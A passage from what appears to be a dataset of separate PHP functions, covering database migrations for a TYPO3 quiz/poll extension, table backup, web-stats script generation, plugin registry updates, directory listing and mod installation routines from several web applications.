$row['uid_local'];\n\t\t\t\t\t$mmArray[$local]['quest'] = $row['uid_foreign'];\n\t\t\t\t}\n\t\t\t}\n\t\t\t\n\t\t\t$updateArray = array();\n\t\t\tforeach($mmArray as $key => $value) {\n\t\t\t\t//$content .= \"- $key: \".$value['user'].'/'.$value['quest'].\"<br />\\n\";\n\t\t\t\t$updateArray = array('user_id' => $value['user'], 'question_id' => $value['quest']);\n\t\t\t\t$success = $GLOBALS['TYPO3_DB']->exec_UPDATEquery('tx_myquizpoll_relation', 'uid='.$key, $updateArray);\n\t\t\t\tif(!$success){\n\t\t\t\t\t$content.=\"<p>MySQL Update-Error :-(</p>\";\n\t\t\t\t}\n\t\t\t}\n\t\t\t$update040a = true;\n\t\t}\n\t\t\n\t\tif (\\TYPO3\\CMS\\Core\\Utility\\GeneralUtility::_GP('update040b')) {\n\t\t\t$content .= \"<br />Executing: - Delete no longer needed relation-data\\n\";\n\t\t\t\n\t\t\t$GLOBALS['TYPO3_DB']->exec_DELETEquery(\n\t\t\t\t'tx_myquizpoll_relation_user_id_mm',\n\t\t\t\t''\n\t\t\t);\n\t\t\t$GLOBALS['TYPO3_DB']->exec_DELETEquery(\n\t\t\t\t'tx_myquizpoll_relation_question_id_mm',\n\t\t\t\t''\n\t\t\t);\n\t\t\t$update040b = true;\n\t\t}\n\t\t\n\t\tif (\\TYPO3\\CMS\\Core\\Utility\\GeneralUtility::_GP('update040c')) {\n\t\t\t$content .= \"<br />Executing: - Delete no longer needed relation-tables\\n\";\n\t\t\t\n\t\t\tmysql( TYPO3_db, 'DROP TABLE tx_myquizpoll_relation_user_id_mm' );\n\t\t\tmysql( TYPO3_db, 'DROP TABLE tx_myquizpoll_relation_question_id_mm' );\n\t\t\t$update040c = true;\n\t\t}\n\t\t\n\t\tif (\\TYPO3\\CMS\\Core\\Utility\\GeneralUtility::_GP('updatepoll') && \\TYPO3\\CMS\\Core\\Utility\\GeneralUtility::_GP('pollpid')) {\n\t\t\t$thePID=intval(\\TYPO3\\CMS\\Core\\Utility\\GeneralUtility::_GP('pollpid'));\n\t\t\t$timestamp = time();\n\t\t\t$content .= \"<br />Executing: - Converting basic poll data to advanced poll data (folder $thePID)\\n\";\n\t\t\t$res5 = $GLOBALS['TYPO3_DB']->exec_SELECTquery('uid, cruser_id,sys_language_uid,hidden, p_or_a, qids',\n\t\t\t\t'tx_myquizpoll_result',\n\t\t\t\t'pid='.$thePID,\n\t\t\t\t'',\n\t\t\t\t'',\n\t\t\t\t'');\n\t\t\t$rows = $GLOBALS['TYPO3_DB']->sql_num_rows($res5);\n\t\t\tif ($rows>0) {\n\t\t\t\t$statisticsArray = array();\n\t\t\t\twhile($row = $GLOBALS['TYPO3_DB']->sql_fetch_assoc($res5)){ \n\t\t\t\t\t$theUID = $row['uid'];\n\t\t\t\t\tif (intval($row['p_or_a'])>0 && intval($row['p_or_a'])<13) {\n\t\t\t\t\t\t\t$statisticsArray[$theUID] = array(\n\t\t\t\t\t\t\t'pid' => $thePID,\n\t\t\t\t\t\t\t'tstamp' => $timestamp,\n\t\t\t\t\t\t\t'crdate' => $timestamp,\n\t\t\t\t\t\t\t'cruser_id' => $row['cruser_id'],\n\t\t\t\t\t\t\t'hidden' => $row['hidden'],\n\t\t\t\t\t\t\t'user_id' => $theUID,\n\t\t\t\t\t\t\t'question_id' => $row['qids'],\n\t\t\t\t\t\t\t'checked'.$row['p_or_a'] => 1,\n\t\t\t\t\t\t\t'sys_language_uid' => $row['sys_language_uid']\n\t\t\t\t\t\t);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\tif (is_array($statisticsArray)) {\n\t\t\t\tforeach ($statisticsArray as $type => $element) {\n\t\t\t\t\t$GLOBALS['TYPO3_DB']->exec_INSERTquery('tx_myquizpoll_relation', $element);\n\t\t\t\t}\n\t\t\t\t$content .= \"<br />\".count($statisticsArray).\" elements inserted. done.<br />\\n\";\t\t\t\n\t\t\t}\n\t\t}\n\t\t\n\t\tif (\\TYPO3\\CMS\\Core\\Utility\\GeneralUtility::_GP('updatepoll2a') && \\TYPO3\\CMS\\Core\\Utility\\GeneralUtility::_GP('pollpid2a')) {\n\t\t\t$thePID=intval(\\TYPO3\\CMS\\Core\\Utility\\GeneralUtility::_GP('pollpid2a'));\n\t\t\t$timestamp = time();\n\t\t\t$content .= \"<br />Executing: - Copy basic poll data to tx_myquizpoll_voting (folder $thePID)\\n\";\n\t\t\t$res5 = $GLOBALS['TYPO3_DB']->exec_SELECTquery('uid, crdate,cruser_id,sys_language_uid,hidden, p_or_a, qids, ip',\n\t\t\t\t'tx_myquizpoll_result',\n\t\t\t\t'pid='.$thePID,\n\t\t\t\t'',\n\t\t\t\t'',\n\t\t\t\t'');\n\t\t\t$rows = $GLOBALS['TYPO3_DB']->sql_num_rows($res5);\n\t\t\tif ($rows>0) {\n\t\t\t\t$votingArray = array();\n\t\t\t\twhile($row = $GLOBALS['TYPO3_DB']->sql_fetch_assoc($res5)){ \n\t\t\t\t\t$theUID = $row['uid'];\n\t\t\t\t\tif (intval($row['p_or_a'])>0 && intval($row['p_or_a'])<13) {\n\t\t\t\t\t\t\t$votingArray[$theUID] = array(\n\t\t\t\t\t\t\t'pid' => $thePID,\n\t\t\t\t\t\t\t'tstamp' => $timestamp,\n\t\t\t\t\t\t\t'crdate' => $row['crdate'],\n\t\t\t\t\t\t\t'cruser_id' => $row['cruser_id'],\n\t\t\t\t\t\t\t'hidden' => $row['hidden'],\n//\t\t\t\t\t\t\t'user_id' => $theUID,\n\t\t\t\t\t\t\t'question_id' => intval($row['qids']),\n\t\t\t\t\t\t\t'answer_no' => $row['p_or_a'],\n\t\t\t\t\t\t\t'ip' => $row['ip'],\n\t\t\t\t\t\t\t'sys_language_uid' => $row['sys_language_uid']\n\t\t\t\t\t\t);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\tif (is_array($votingArray)) {\n\t\t\t\tforeach ($votingArray as $type => $element) {\n\t\t\t\t\t$GLOBALS['TYPO3_DB']->exec_INSERTquery('tx_myquizpoll_voting', $element);\n\t\t\t\t}\n\t\t\t\t$content .= \"<br />\".count($votingArray).\" elements inserted into tx_myquizpoll_voting. done.<br />\\n\";\t\t\t\n\t\t\t}\n\t\t}\n\t\tif (\\TYPO3\\CMS\\Core\\Utility\\GeneralUtility::_GP('updatepoll2b') && \\TYPO3\\CMS\\Core\\Utility\\GeneralUtility::_GP('pollpid2a')) {\n\t\t\t$thePID=intval(\\TYPO3\\CMS\\Core\\Utility\\GeneralUtility::_GP('pollpid2a'));\n\t\t\t$content .= \"<br />Executing: - Deleting old basic poll data (folder $thePID)\\n\";\n\t\t\t$GLOBALS['TYPO3_DB']->exec_DELETEquery('tx_myquizpoll_result', 'pid='.$thePID);\n\t\t}\n\t\t\n\t\t\n\t\t\n\t\t// formular\n\t\tif ($content) $content .= \"<br /><br />\\n\";\n\t\t$linkScript = \\TYPO3\\CMS\\Core\\Utility\\GeneralUtility::linkThisScript(); // htmlspecialchars()\n\t\t//$content.=$linkScript;\n\t\t$content.='<form name=\"myquiz\" action=\"'.$linkScript.'\" method=\"post\">';\n\t\tif (!($update040a && $update040b && $update040c)) {\n\t\t\t$content.='<br /><p>Updates from Version 0.3.0-0.4.2 to 1.0.0:<br />';\n\t\t\tif (!$update040a)\n\t\t\t\t$content.='<input type=\"checkbox\" name=\"update040a\" value=\"1\" checked=\"checked\" /> Update relation-table for advanced statistics<br />';\n\t\t\tif (!$update040b)\n\t\t\t\t$content.='<input type=\"checkbox\" name=\"update040b\" value=\"1\" checked=\"checked\" /> - Delete no longer needed relation-data<br />';\n\t\t\tif (!$update040c)\n\t\t\t\t$content.='<input type=\"checkbox\" name=\"update040c\" value=\"1\" checked=\"checked\" /> - Delete no longer needed relation-tables<br />';\n\t\t\t$content.='</p><br />';\n\t\t}\n\t\t$content.='<p><input type=\"checkbox\" name=\"updatepoll\" value=\"1\" /> Optional: convert basic poll data to advanced poll data. ID of the folder: ';\n\t\t$content.='<input type=\"text\" name=\"pollpid\" value=\"\" /> (be carefully, there is no check if there are really basic poll data). Execute it only once!</p><br />';\n\t\t$content.='<p><input type=\"checkbox\" name=\"updatepoll2a\" value=\"1\" /> Optional: copy basic poll data to the table tx_myquizpoll_voting. ID of the folder: ';\n\t\t$content.='<input type=\"text\" name=\"pollpid2a\" value=\"\" /> (be carefully, there is no check if there are really basic poll data). Execute it only once!';\n\t\t$content.='<br />&nbsp; -&nbsp; <input type=\"checkbox\" name=\"updatepoll2b\" value=\"1\" /> Delete old entries in the table tx_myquizpoll_result with the above ID.</p><br />';\n\t\t\n\t\t//$linkScript = \\TYPO3\\CMS\\Core\\Utility\\GeneralUtility::slashJS(\\TYPO3\\CMS\\Core\\Utility\\GeneralUtility::linkThisScript());\n\t\t//$content.=$linkScript;\n\t\t// this.form.action=\\''.$linkScript.'\\';\n\t\t$content.='<input type=\"button\" onclick=\"this.form.submit();\" name=\"send\" value=\"Start\" />';\n\t\t$content.='</form>';\n\t\t\n\t\treturn $content;\n\t}", "function get_table_backup($logfile,$db_meta,$db_meta_indices,&$install_php_file)\n{\n\t$GLOBALS['NO_DB_SCOPE_CHECK']=true;\n\n\t// Get a list of tables\n\t$tables=$GLOBALS['SITE_DB']->query_select($db_meta,array('DISTINCT m_table AS m_table'));\n\n\t// For each table, build up an ocPortal table creation command\n\tforeach ($tables as $_table)\n\t{\n\t\t$table=$_table['m_table'];\n\n\t\t$fields=$GLOBALS['SITE_DB']->query_select($db_meta,array('*'),array('m_table'=>$table));\n\n\t\tfwrite($install_php_file,\" \\$GLOBALS['SITE_DB']->drop_if_exists('$table');\\n\");\n\t\t$array='';\n\t\tforeach ($fields as $field)\n\t\t{\n\t\t\t$name=$field['m_name'];\n\t\t\t$type=$field['m_type'];\n\n\t\t\tif ($array!='') $array.=\",\\n\";\n\t\t\t$array.=\"\t\t'\".$name.\"'=>'\".$type.\"'\";\n\t\t}\n\t\tfwrite($install_php_file,\" \\$GLOBALS['SITE_DB']->create_table('$table',array(\\n$array));\\n\");\n\n\t\tif (($table=='stats') || ($table=='cache'))\n\t\t{\n\t\t\t$data=array();\n\t\t} else\n\t\t{\n\t\t\tif (($table!='edit_pings') && ($table!='cache'))\n\t\t\t{\n\t\t\t\t$start=0;\n\t\t\t\tdo\n\t\t\t\t{\n\t\t\t\t\t$data=$GLOBALS['SITE_DB']->query_select($table,array('*'),NULL,'',100,$start,false,array());\n\t\t\t\t\tforeach ($data as $d)\n\t\t\t\t\t{\n\t\t\t\t\t\t$list='';\n\t\t\t\t\t\tforeach ($d as $name=>$value)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tif (($table=='translate') && ($name=='text_parsed')) $value='';\n\n\t\t\t\t\t\t\tif (is_null($value)) continue;\n\t\t\t\t\t\t\tif ($list!='') $list.=',';\n\t\t\t\t\t\t\t$list.=\"'\".(is_string($name)?$name:strval($name)).\"'=>\";\n\t\t\t\t\t\t\tif (!is_integer($value)) $list.='\"'.php_addslashes($value).'\"'; else $list.=strval($value);\n\t\t\t\t\t\t}\n\t\t\t\t\t\tfwrite($install_php_file,\" \\$GLOBALS['SITE_DB']->query_insert('$table',array($list));\\n\");\n\t\t\t\t\t}\n\n\t\t\t\t\t$start+=100;\n\t\t\t\t}\n\t\t\t\twhile (count($data)!=0);\n\t\t\t}\n\t\t}\n\n\t\tfwrite($logfile,'Backed up table '.$table.\"\\n\");\n\t}\n\n\t// For each index, build up an ocPortal index creation command\n\t$indices=$GLOBALS['SITE_DB']->query_select($db_meta_indices,array('*'));\n\tforeach ($indices as $index)\n\t{\n\t\tif (fwrite($install_php_file,' $GLOBALS[\\'SITE_DB\\']->create_index(\\''.$index['i_table'].'\\',\\''.$index['i_name'].'\\',array(\\''.str_replace(',','\\',\\'',$index['i_fields']).'\\'));'.\"\\n\")==0)\n\t\t\twarn_exit(do_lang_tempcode('COULD_NOT_SAVE_FILE'));\n\t}\n\n\t$GLOBALS['NO_DB_SCOPE_CHECK']=false;\n}", "function updateWebstats(){\n\t\tglobal $skipUpdateWebstats;\n\t\tif($skipUpdateWebstats or $this->miscconfig['enablewebstats']=='') {\n\t\t\t# if you put webstats.sh in crontab\n\t\t\techo \"\\nSkipping \".__FUNCTION__.\" because of config directive (\\$skipUpdateWebstats) or enablewebstats is not checked in options.\\n\";\n\t\t\treturn false;\n\t\t}\n\n\t\t$this->requireCommandLine(__FUNCTION__);\n\t\t$res=$this->query(\"select domainname,homedir from domains where status='$this->status_active' and homedir<>''\");\n\t\t$str='';\n\t\tforeach($res as $dom){\n\t\t\tif ($this->miscconfig['enablecommonwebstats']=='') {\n\t\t\t\tpassthru2(\"mkdir -p \".$dom['homedir'].\"/httpdocs/webstats/\");\n\t\t\t\t$str.=\"webalizer -q -p -n www.\".$dom['domainname'].\" -o \".$dom['homedir'].\"/httpdocs/webstats \".$dom['homedir'].\"/logs/access_log -R 100 TopReferrers -r \".$dom['domainname'].\" HideReferrer \\n\";\n\t\t\t}else {\n\t\t\t\tpassthru2(\"mkdir -p \" .$this->miscconfig[\"commonwebstatsdir\"] .\"/\".$dom['domainname']);\n\t\t\t\t$str.=\"webalizer -q -p -n www.\".$dom['domainname']\n\t\t\t\t\t. \" -o \"\n\t\t\t\t\t. $this->miscconfig['commonwebstatsdir']\n\t\t\t\t\t. \"/\"\n\t\t\t\t\t. $dom['domainname']\n\t\t\t\t\t. \" \"\n\t\t\t\t\t. $dom['homedir']\n\t\t\t\t\t. \"/logs/access_log -R 100 TopReferrers -r \"\n\t\t\t\t\t. $dom['domainname'].\" HideReferrer \\n\";\n\n\t\t\t}\n\n\n\t\t}\n\t\techo $str;\n\n\t\twriteoutput2(\"/etc/ehcp/webstats.sh\",$str,\"w\");\n\t\tpassthru2(\"chmod a+x /etc/ehcp/webstats.sh\");\n\t#\tpassthru2(\"/etc/ehcp/webstats.sh\");\n\t\techo \"\\nwrite webstats file to /etc/ehcp/webstats.sh complete... need to put this in crontab or run automatically.. \\n\";\n\n\t}", "public static function sai_mod__SYSTEM_SAI_saimod_sys_git(){\n $vars = \\SYSTEM\\PAGE\\text::tag(\\SYSTEM\\SQL\\system_text::TAG_SAI_GIT);\n $vars['panels'] = self::getGitInfo();\n return \\SYSTEM\\PAGE\\replace::replaceFile((new \\SYSTEM\\PSAI('modules/saimod_sys_git/tpl/saimod_sys_git.tpl'))->SERVERPATH(), $vars);}", "function update_plugins_table() \n\t{\n\t\tglobal $sql, $sql2, $mySQLprefix, $menu_pref, $tp, $pref;\n\n\t\trequire_once(e_HANDLER.'file_class.php');\n\n\t\t$fl = new e_file;\n\t\t$pluginList = $fl->get_files(e_PLUGIN, \"^plugin\\.php$\", \"standard\", 1);\n\t\t$sp = FALSE;\n\n// Read all the plugin DB info into an array to save lots of accesses\n\t\t$pluginDBList = array();\n\t\tif ($sql->db_Select('plugin',\"*\"))\n\t\t{\n\t\t while ($row = $sql->db_Fetch())\n\t\t {\n\t\t $pluginDBList[$row['plugin_path']] = $row;\n\t\t $pluginDBList[$row['plugin_path']]['status'] = 'read';\n//\t\t\techo \"Found plugin: \".$row['plugin_path'].\" in DB<br />\";\n\t\t }\n\t\t}\n\n\t\t// Get rid of any variables previously defined which may occur in plugin.php\n\t\tforeach($pluginList as $p)\n\t\t{\n\t\t $defined_vars = array_keys(get_defined_vars());\n\t\t foreach($defined_vars as $varname) \n\t\t {\n\t\t\tif ((substr($varname, 0, 6) == 'eplug_') || (substr($varname, 0, 8) == 'upgrade_')) \n\t\t\t{\n\t\t\t unset($$varname);\n\t\t\t}\n\t\t }\n\n\t\t // We have to include here to set the variables, otherwise we only get uninstalled plugins\n\t\t // Would be nice to eval() the file contents to pick up errors better, but too many path issues\n\t\t $plug['plug_action'] = 'scan';\t\t\t// Make sure plugin.php knows what we're up to\n\t\t include(\"{$p['path']}{$p['fname']}\");\n\t\t $plugin_path = substr(str_replace(e_PLUGIN,\"\",$p['path']),0,-1);\n\n\t\t // scan for addons.\n\t\t $eplug_addons = $this->getAddons($plugin_path);\t\t\t// Returns comma-separated list\n//\t\t $eplug_addons = $this->getAddons($plugin_path,'check');\t\t// Checks opening/closing tags on addon files\n\n\t\t // See whether the plugin needs installation - it does if one or more variables defined\n\t\t $no_install_needed = 1;\n\t\t foreach ($this->all_eplug_install_variables as $check_var)\n\t\t {\n\t\t if (isset($$check_var) && ($$check_var)) { $no_install_needed = 0; }\n\t\t }\n\n\t\t if ($plugin_path == $eplug_folder)\n\t\t {\n\t\t\tif(array_key_exists($plugin_path,$pluginDBList))\n\t\t\t{ // Update the addons needed by the plugin\n\t\t $pluginDBList[$plugin_path]['status'] = 'exists';\n\t\t\t // If plugin not installed, and version number of files changed, update version as well\n\t\t\t if (($pluginDBList[$plugin_path]['plugin_installflag'] == 0) && ($pluginDBList[$plugin_path]['plugin_version'] != $eplug_version))\n\t\t\t { // Update stored version\n\t\t\t\t$pluginDBList[$plugin_path]['plugin_version'] = $eplug_version;\n\t\t\t\t$pluginDBList[$plugin_path]['status'] = 'update';\n\t\t\t }\n\t\t\t if ($pluginDBList[$plugin_path]['plugin_addons'] != $eplug_addons)\n\t\t\t { // Update stored addons list\n\t\t\t\t$pluginDBList[$plugin_path]['plugin_addons'] = $eplug_addons;\n\t\t\t\t$pluginDBList[$plugin_path]['status'] = 'update';\n\t\t\t }\n\t\t\t \n\t\t\t if ($pluginDBList[$plugin_path]['plugin_installflag'] == 0)\n\t\t\t { // Plugin not installed - make sure $pref not set\n\t\t\t if (isset($pref['plug_installed'][$plugin_path]))\n\t\t\t\t{\n\t\t\t unset($pref['plug_installed'][$plugin_path]);\n//\t\t\t\t echo \"Remove: \".$plugin_path.\"->\".$ep_row['plugin_version'].\"<br />\";\n\t\t\t\t $sp = TRUE;\n\t\t\t\t}\n\t\t\t }\n\t\t\t else\n\t\t\t {\t// Plugin installed - make sure $pref is set\n\t\t\t\tif (!isset($pref['plug_installed'][$plugin_path]) || ($pref['plug_installed'][$plugin_path] != $pluginDBList[$plugin_path]['plugin_version']))\n\t\t\t\t{\t// Update prefs array of installed plugins\n\t\t\t $pref['plug_installed'][$plugin_path] = $pluginDBList[$plugin_path]['plugin_version'];\n//\t\t\t\t echo \"Add: \".$plugin_path.\"->\".$ep_row['plugin_version'].\"<br />\";\n\t\t\t\t $sp = TRUE;\n\t\t\t\t}\n\t\t\t }\n\t\t\t}\n\t\t\telse\n\t\t\t{ // New plugin - not in table yet, so add it. If no install needed, mark it as 'installed'\n\t\t\t if ($eplug_name)\n\t\t\t {\n\t\t\t\t// Can just add to DB - shouldn''t matter that its not in our current table\n//\t\t\t\techo \"Trying to insert: \".$eplug_folder.\"<br />\";\n\t\t\t\t$sql->db_Insert(\"plugin\", \"0, '\".$tp -> toDB($eplug_name, true).\"', '\".$tp -> toDB($eplug_version, true).\"', '\".$tp -> toDB($eplug_folder, true).\"', {$no_install_needed}, '{$eplug_addons}' \");\n\t\t\t }\n\t\t\t}\n\t\t }\n\t\t else\n\t\t { // May be useful that we ignore what will usually be copies/backups of plugins - but don't normally say anything\n//\t\t echo \"Plugin copied to wrong directory. Is in: {$plugin_path} Should be: {$eplug_folder}<br /><br />\";\n\t\t }\n\t\t}\n\n\t\t// Now scan the table, updating the DB where needed\n\t\tforeach ($pluginDBList as $plug_path => $plug_info)\n\t\t{\n\t\t if ($plug_info['status'] == 'read')\n\t\t {\t// In table, not on server - delete it\n\t\t\t$sql->db_Delete('plugin', \"`plugin_id`='{$plug_info['plugin_id']}'\");\n//\t\t\techo \"Deleted: \".$plug_path.\"<br />\";\n\t\t }\n\t\t if ($plug_info['status'] == 'update')\n\t\t {\n\t\t $temp = array();\n\t\t\tforeach ($this->all_editable_db_fields as $p_f)\n\t\t\t{\n\t\t\t $temp[] =\"`{$p_f}` = '{$plug_info[$p_f]}'\";\n\t\t\t}\n\t\t $sql->db_Update('plugin', implode(\", \",$temp).\" WHERE `plugin_id`='{$plug_info['plugin_id']}'\");\n//\t\t\techo \"Updated: \".$plug_path.\"<br />\";\n\t\t }\n\t\t}\n\t if ($sp) save_prefs();\n\t}", "private function _htmlFile() {\n\t\tif ($this->is_search) { //on search mode\n\t\t\n\t\t\tif (empty($this->founds)) {\n\t\t\t\treturn '<div class=\"cfind-div cfind-message\">No content found</div>';\n\t\t\t}\n\t\t\t\n\t\t\t$html = '';\n\t\t\t\n\t\t\t//first : folder items\n\t\t\tforeach ((array) $this->founds AS $key => $val) {\n\t\t\t\tif (g($val, 'type') != 'folder') continue;\n\t\t\t\t$html .= $this->_listFolder($val);\n\t\t\t}\n\t\t\t\n\t\t\t//second : file items\n\t\t\tforeach ((array) $this->founds AS $key => $val) {\n\t\t\t\tif (g($val, 'type') != 'file') continue;\n\t\t\t\t$html .= $this->_listFile($val);\n\t\t\t}\n\t\t\t\n\t\t\treturn $html;\n\t\t}\n\t\n\t\t$path = g($this->conf, 'path');\n\t\t\n\t\t$rpath = $this->_path($path);\n\t\tif (!file_exists($rpath) || !is_dir($rpath)) return '';\n\t\t\n\t\t$dir = $files = array();\n\t\t$hnd = opendir($rpath);\n\t\twhile ($read = readdir($hnd)) {\n\t\t\tif ($read == '.' || $read == '..') continue;\n\t\t\t\n\t\t\t$mypath = $this->_sanitize($path.'/'.$read);\n\t\t\tif (is_dir($this->_path($mypath)))\n\t\t\t\tarray_push($dir, ['name' => $read, 'time' => filemtime($rpath.'/'.$read)]);\n\t\t\telse {\n\t\t\t\tif (g($_GET, 'ext')) {\n\t\t\t\t\t$ext = explode(',',str_replace(' ', '', g($_GET, 'ext')));\n\t\t\t\t\n\t\t\t\t\tif (!in_array(strtolower(pathinfo($read, PATHINFO_EXTENSION)), $ext))\n\t\t\t\t\t\tcontinue;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tarray_push($files, ['name' => $read, 'time' => filemtime($rpath.'/'.$read)]);\n\t\t\t}\n\t\t\t\t\n\t\t}\n\t\t\n\t\tusort($files,function($a,$b) { return $b['time'] - $a['time']; });\n\t\t$files = array_column($files,'name');\n\t\t\n\t\tusort($dir,function($a,$b) { return $b['time'] - $a['time']; });\n\t\t$dir = array_column($dir,'name');\n\t\t\n\t\tclosedir($hnd);\n\t\t\n\t\t$html = '';\n\t\t\n\t\t//first : folder items\n\t\tforeach ((array) $dir AS $key => $val) {\n\t\t\t$html .= $this->_listFolder(['path' => $path, 'name' => $val]);\n\t\t}\n\t\t\n\t\t//second : file items\n\t\tforeach ((array) $files AS $key => $val) {\n\t\t\t$html .= $this->_listFile(['path' => $path, 'name' => $val]);\n\t\t}\n\t\t\n\t\tif (empty($html)) return '<div class=\"cfind-div cfind-message\">Folder is empty</div>';\n\t\t\t\n\t\treturn $html;\n\t}", "function ShowAllSoftware()\n{\n\tget_all_software();\n\n\t//show_table_title( \"Click a Build CRC to see panic data\" );\n\t//show_all_software();\t\t\n\n\tshow_table_title( \"Official Release (Click a Build CRC to see panic data)\" );\n\tshow_all_official_software();\t\t\n\n\tshow_table_title( \"Unofficial Release (Click a Build CRC to see panic data)\" );\n\tshow_all_test_software();\t\t\n}", "function Logs_Tables_Menu()\n {\n return \"\"; #disabled\n $tables=$this->Logs_Sql_Tables_Get();\n \n $args=$this->CGI_URI2Hash();\n \n $html=\"\";\n foreach ($tables as $year => $months)\n {\n $hrefs=array();\n $args[ \"Year\" ]=$year;\n foreach ($months as $month)\n {\n $args[ \"Month\" ]=$month;\n\n array_push($hrefs,$this->Href(\"?\".$this->CGI_Hash2URI($args),$month.\"/\".$year));\n }\n\n $html.=\n \"[ \".join(\" | \",$hrefs).\" ]\".\n $this->BR().\n \"\";\n }\n\n return\n $this->Center($html).\n $this->BR();\n }", "function PKG_previewUpdateSystem($clientName,$completeUpdate)\n{\n\tif ($completeUpdate)\n\t\t$aptCommand=\"dist-upgrade\";\n\telse\n\t\t$aptCommand=\"upgrade\";\n\n\t$clientOptions = CLIENT_getAllOptions($clientName);\n\n\t//include the distribution specific files\n\tinclude_once(\"/m23/inc/distr/\".$clientOptions['distr'].\"/clientConfig.php\");\n\tinclude_once(\"/m23/inc/distr/\".$clientOptions['distr'].\"/packages.php\");\n\n\t//try to update the client package status file\n\tif ($_SESSION['m23Shared'] !== true)\n\t{\n\t\tif (function_exists('CLCFG_copyClientPackageStatus'))\t//it exists not in halfSister\n\t\t\tCLCFG_copyClientPackageStatus($clientName);\n\t}\n\telse\n\t//Change the client name on m23shared clients to the complete m23shared client name to store the package status information in a directory with complete m23shared client name and not without the DB name\n\t\t$clientName = m23SHARED_getCompleteClientName($clientName);\n\n\treturn(PKG_previewInstallDeinstall\n\t\t\t($clientName,$clientOptions['distr'],\n\t\t\t $clientOptions['packagesource'],\"\",$aptCommand));\n}", "function tables()\n\t{\n\t\t$this->ipsclass->input['step']++;\n\t\t$uninstall = ( $this->ipsclass->input['un'] == 1 ) ? \"&amp;un=1\" : \"\";\n\t\t\n\t\t$object = ( $this->tasks['tables'] == 1 ) ? 'Database Table' : 'Database Tables';\n\t\t$operation = ( $this->ipsclass->input['un'] ) ? 'dropped' : 'created';\n\t\t$old_data = array();\n\t\t$new_fields = array();\n\t\t\n\t\tforeach ( $this->xml_array['tables_group']['table'] as $k => $v )\n\t\t{\n\t\t\t$this->ipsclass->DB->sql_drop_table( $v['name']['VALUE'].\"_bak\" );\n\t\t\t\n\t\t\tif ( !$this->ipsclass->input['un'] && in_array( SQL_PREFIX.$v['name']['VALUE'], $this->ipsclass->DB->get_table_names() ) )\n\t\t\t{\n\t\t\t\t$this->ipsclass->DB->query( \"RENAME TABLE \".SQL_PREFIX.$v['name']['VALUE'].\" TO \".SQL_PREFIX.$v['name']['VALUE'].\"_bak;\" );\n\t\t\t\t$this->ipsclass->DB->cached_tables[] = SQL_PREFIX.$v['name']['VALUE'].\"_bak\";\n\t\t\t}\n\t\t\t\n\t\t\t$this->ipsclass->DB->sql_drop_table( $v['name']['VALUE'] );\n\t\t\t\n\t\t\tif ( !$this->ipsclass->input['un'] )\n\t\t\t{\n\t\t\t\t$this->ipsclass->DB->query( $this->fix_create_table( \"CREATE TABLE IF NOT EXISTS \".SQL_PREFIX.$v['name']['VALUE'].\" (\".$v['data']['VALUE'].\") TYPE=\".$v['type']['VALUE'] ) );\n\t\t\t\t\n\t\t\t\tif ( in_array( SQL_PREFIX.$v['name']['VALUE'].\"_bak\", $this->ipsclass->DB->get_table_names() ) )\n\t\t\t\t{\n\t\t\t\t\t$this->ipsclass->DB->build_query( array( 'select' => '*',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t 'from' => $v['name']['VALUE'].\"_bak\",\n\t\t\t\t\t\t\t\t\t\t\t\t\t)\t );\n\t\t\t\t\t$this->ipsclass->DB->exec_query();\n\t\t\t\t\t\n\t\t\t\t\tif ( $this->ipsclass->DB->get_num_rows() )\n\t\t\t\t\t{\n\t\t\t\t\t\twhile ( $r = $this->ipsclass->DB->fetch_row() )\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$old_data[ $v['name']['VALUE'] ][] = $r;\n\t\t\t\t\t\t}\n\t\t\t\t\t\t\n\t\t\t\t\t\t$this->ipsclass->DB->query( \"SHOW COLUMNS FROM \".SQL_PREFIX.$v['name']['VALUE'].\";\" );\n\t\t\t\t\t\t\n\t\t\t\t\t\tif ( $this->ipsclass->DB->get_num_rows() )\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\twhile ( $row = $this->ipsclass->DB->fetch_row() )\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$new_fields[ $v['name']['VALUE'] ][] = $row['Field'];\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t\t\n\t\t\t\t\t\tforeach ( $old_data[ $v['name']['VALUE'] ] as $kk => $vv )\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$insert = array();\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\tforeach ( $vv as $field => $value)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tif ( in_array( $field, $new_fields[ $v['name']['VALUE'] ] ) )\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t$insert[ $field ] = $this->ipsclass->txt_safeslashes( $value );\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\tif ( count( $insert ) )\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$this->ipsclass->DB->do_insert( $v['name']['VALUE'], $insert );\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t$this->ipsclass->DB->sql_drop_table( $v['name']['VALUE'].\"_bak\" );\n\t\t\t}\n\t\t}\n\t\t\n\t\t$this->ipsclass->admin->redirect( \"{$this->ipsclass->form_code}&amp;code=work&amp;mod={$this->ipsclass->input['mod']}&amp;step={$this->ipsclass->input['step']}{$uninstall}&amp;st={$this->ipsclass->input['st']}\", \"{$this->xml_array['mod_info']['title']['VALUE']}<br />{$this->tasks['tables']} {$object} {$operation}....\" );\n\t}", "function investigate_table($db_no=null,$db_name=null,$inst=null){\n// also insert the fields of the table into wise2.wise2_vwmldbm_fd\n\t\n\tif(!$inst) $inst=$_SESSION['vwmldbm_inst'];\n\tglobal $conn,$DB,$DTB_PRE,$TB_PRE,$VWMLDBM;\n// SJH_MOD \n\tif($TB_PRE==\"\" || $TB_PRE==null) $sql=\"select table_name from information_schema.tables where table_schema='$DB' and table_name like '%'\";\n\telse $sql=\"select table_name from information_schema.tables where table_schema='$DB' and table_name like 